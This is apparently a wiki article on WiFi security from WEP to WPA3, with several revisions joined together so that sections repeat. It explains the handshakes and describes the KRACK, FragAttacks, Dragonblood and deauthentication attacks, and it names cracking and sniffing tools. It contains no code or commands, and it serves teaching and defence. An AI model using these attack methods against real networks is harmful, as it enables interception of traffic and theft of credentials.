5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-05T19:53:31Z

RSchuller: /* WPA */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air.

* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-05T19:53:08Z

RSchuller: /* WPA */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA supports two types of operation: <ref>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air.

* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>
